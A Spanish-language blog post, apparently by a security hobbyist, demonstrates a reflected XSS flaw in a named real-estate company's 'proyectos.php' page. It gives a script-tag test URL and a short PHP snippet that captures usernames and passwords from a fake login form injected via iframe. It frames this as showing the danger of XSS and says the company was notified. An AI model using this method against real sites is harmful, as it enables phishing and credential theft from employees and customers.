Usaré de ejemplo un sitio que ya he usado en alguno de mis post, cuando hice los tests a las empresas de hosting. Mostraré cómo explotar una vulnerabilidad del tipo XSS para hacer phishing, capturar datos de acceso de usuarios para ganar acceso a un sistema, ftp , email, etc.
La empresa afectada es una inmobiliaria y constructora "Yagode", la vulnerabilidad XSS se encuentra en el script "proyectos.php", al no parsear la variable tipo. Tiene protección contra XSS, pero no es efectiva. Podemos comprobar ingresando a
https://www.yagode.cl/proyectos.php?Tipo=<script>alert(this)</script>
Obtenemos el mensaje de error 406 "Not Acceptable",
Not Acceptable
An appropriate representation of the requested resource /proyectos.php could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Sin embargo, permite incluir otro tipo de código como un iframe.
Vamos a armar un pequeño código en php con un formulario que nos capture la información, simulando un login, bien simple, que cumpla con el estándar del sitio web (fondo azúl y bien feo)
< ?php
if($_GET['login'] == "ok")
die("user: ".$_POST['user']."
pass: ".$_POST['pass']);
?>
Incluimos nuestro script en el iframe:
Ingresamos nuestra información, usuario y contraseña, y vemos como el script php que hicimos se encarga de guardar la información y mostrarla, llenamos el formulario con datos de prueba como usuario=miusuario y password=mipassword, al presionar el botón "ingresar", veremos la siguiente pantalla:


Perfectamente podemos engañar a los empleados o clientes de ésta empresa, para que ingresen a éste sitio y nos entreguen información confidencial. Con un poco de ingeniería social y tiempo.
NOTA: La empresa encargada de éste sitio fue notificada de los fallos hace mucho tiempo (más de 2 meses)

Muy buen ejemplo del peligro del XSS!